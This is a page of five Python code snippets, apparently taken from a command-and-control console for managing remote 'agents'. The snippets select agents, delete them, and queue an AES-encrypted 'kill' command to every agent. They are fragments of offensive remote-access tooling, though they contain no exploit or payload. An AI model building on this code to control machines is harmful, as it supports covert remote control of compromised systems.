Exemple #1
0
 def use(self, args=None):
     if len(args) < 2:
         return
     id = args[1]
     for i in config.AGENTS:
         if id == str(config.AGENTS[i][0]):
             id = i
             config.set_pointer(i)
             break
Exemple #2
0
 def delete(self, args=None):
     if config.get_pointer() != 'main':
         config.set_pointer('main')
     if len(args) < 2:
         print "delete <id>"
         return
     id = args[1]
     agent = ''
     for i in config.AGENTS:
         if id == str(config.AGENTS[i][0]):
             agent = i
             break
     if agent != '':
         del config.AGENTS[agent]
Exemple #3
0
 def back(self, args=None):
     config.set_pointer('main')
Exemple #4
0
 def delete_all(self, args=None):
     if config.get_pointer() != 'main':
         config.set_pointer('main')
     config.AGENTS.clear()
Exemple #5
0
 def kill_all(self, args=None):
     if config.get_pointer() != 'main':
         config.set_pointer('main')
     for i in config.AGENTS:
         config.COMMAND[i].append(
             encrypt(config.AESKey, "kill " + config.AGENTS[i][8]))